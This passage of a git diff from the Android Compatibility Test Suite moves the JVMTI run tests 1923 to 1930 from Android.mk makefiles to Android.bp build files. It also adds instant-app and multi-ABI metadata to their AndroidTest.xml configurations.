-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1923DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1924/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
new file mode 100644
index 0000000..0f7dec9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1924HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1924DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1924/Android.mk b/hostsidetests/jvmti/run-tests/test-1924/Android.mk
deleted file mode 100644
index dfe7dfa..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1924HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
index ea7fe12..a9a8245 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
new file mode 100644
index 0000000..1a18d4f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1924DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1924/app/Android.mk
deleted file mode 100644
index 66f590d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1924DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1925/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
new file mode 100644
index 0000000..4076977
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1925HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1925DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1925/Android.mk b/hostsidetests/jvmti/run-tests/test-1925/Android.mk
deleted file mode 100644
index 9ae558d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1925HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
index 5116d65..0c003be 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
new file mode 100644
index 0000000..9210b43
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1925DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1925/app/Android.mk
deleted file mode 100644
index 93df6e6..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1925DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1926/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
new file mode 100644
index 0000000..50c1f42
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1926HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1926DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1926/Android.mk b/hostsidetests/jvmti/run-tests/test-1926/Android.mk
deleted file mode 100644
index 5e22792..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1926HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
index 23250a0..c12ae92 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
new file mode 100644
index 0000000..d222132
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1926DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1926/app/Android.mk
deleted file mode 100644
index d416713..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1926DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1927/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
new file mode 100644
index 0000000..fb55fb4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1927HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1927DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1927/Android.mk b/hostsidetests/jvmti/run-tests/test-1927/Android.mk
deleted file mode 100644
index d57f679..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1927HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
index 018eaa2..2154147 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
new file mode 100644
index 0000000..ee61952
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1927DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1927/app/Android.mk
deleted file mode 100644
index f3efc78..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1927DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1928/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
new file mode 100644
index 0000000..9f82560
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1928HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1928DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1928/Android.mk b/hostsidetests/jvmti/run-tests/test-1928/Android.mk
deleted file mode 100644
index cd22479..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1928HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
index 6abb462..3691021 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
new file mode 100644
index 0000000..54511d4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1928DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1928/app/Android.mk
deleted file mode 100644
index e1fb753..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1928DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1930/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
new file mode 100644
index 0000000..c7931c8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1930HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1930DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1930/Android.mk b/hostsidetests/jvmti/run-tests/test-1930/Android.mk
deleted file mode 100644
index c5f5d99..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1930HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
index 52042c5..de9822c 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
